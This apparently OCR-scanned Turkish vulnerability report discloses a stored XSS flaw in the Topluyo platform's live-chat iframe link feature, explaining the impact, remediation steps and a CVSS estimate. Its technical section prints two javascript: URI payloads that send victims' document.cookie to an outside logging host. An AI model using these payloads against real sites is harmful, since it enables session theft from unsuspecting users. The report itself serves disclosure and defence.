Stored XSS via Javascript: URI Injection

Platform: Topluyo

Etkilenen Alan: Canli Sohbet — Link Ekleme / iframe Eklentisi
Zafiyet Tiirii: Stored Cross-Site Scripting (XSS)

Risk Seviyesi: Yiiksek

Ozet

Canli sohbet alaninda bulunan link ekleme 6zelligi {izerinden girilen URL degeri, yeterli protokol
dogrulamasi yapilmadan iframe SrcC attribute’iine yerlestirilmektedir.

javascript: URI semasi engellenmedigi icin saldirgan, bu alan {izerinden istemci tarafinda
keyfi JavaScript calistirabilmektedir.

Sistem otomatik olarak ?top luyo_host=1 gibi query parametreleri eklese dahi, // yorum
operatorii kullanilarak bu ekleme absorbe edilebilmekte ve payload bozulmadan
calistirillabilmektedir.

Bu durum Stored XSS zafiyetine yol agmaktadir.

Teknik Detay

Kullamlan Ornek Payload

javascript:fetch('https://sibergkt.com/kaydet/log.php',
{method: 'post"', body:document.cookie})//
veya

javascript:navigator.sendBeacon('https://sibergkt.com/kaydet/
log.php',document.cookie)//

Render Edilen Yapi

Sistem payload’u asagidaki gibi iframe icinde render etmektedir:

<iframe src="javascript:fetch(... )//?topluyo_host=1"></iframe>
Burada:

* javascript: semasi dogrudan calistirllmaktadir
+ ?topluyo_host=1 kismi // nedeniyle yorum satir1 olur
» JavaScript parse hatasi olusmaz

* Kod iframe context’inde ¢aligir




Zafiyetin Calisma Mekanizmasi

1. Saldirgan sohbet alanina zararl link ekler

2. Payload veritabaninda saklanir (Stored)

3. Diger kullanicilar sohbeti a¢tiginda iframe render edilir

4. JavaScript otomatik calisir

Etki Analizi

Eger sohbet alan1 ana uygulama origin’i altinda calisiyorsa:

DOM erisimi miimkiindiir

Kullanici baglaminda islem yapilabilir

CSREF benzeri islemler tetiklenebilir

Admin panelinde render edilirse privilege escalation riski olusur

Session c¢alinabilir (HttpOnly flag yoksa)

Bu durum kullanicilar arasi saldir1 zincirine imkan tanir.

Giivenlik Acig1 Kaynagi

javascript: protokolii engellenmemektedir
URL protokol whitelist kontrolii yoktur
iframe src degeri sanitize edilmemektedir

Client-side encode islemi giivenlik saglamamaktadir

Onerilen Coziim
1. URL protokol whitelist uygulanmal

* Sadece https:// ve http:// kabul edilmeli

. jJavascript:, data:, vbscript: gibi semalar tamamen reddedilmeli
. iframe olusturulmadan énce server-side URL parse kontrolii yapilmali

. Content Security Policy uygulanmali:

script-src 'self';
object-src 'none';
base-uri 'self';

. Attribute context i¢in dogru escaping yapilmal




CVSS (Onerilen)

* Attack Vector: Network
* Attack Complexity: Low
* Privileges Required: Low
* User Interaction: Required
* Scope: Changed
* Impact: High
Tahmini CVSS v3.1 Skoru: 7.2 — 8.0 (High)

Sonuc¢

Canli sohbet alanindaki iframe link ekleme 6zelligi tizerinden javascript: URI enjeksiyonu
yapilabilmekte ve bu durum Stored XSS zafiyetine yol agmaktadir.

Uygun protokol dogrulamasi ve CSP uygulanmadig: siirece kullanicilar arasi istismar miimkiindiir.
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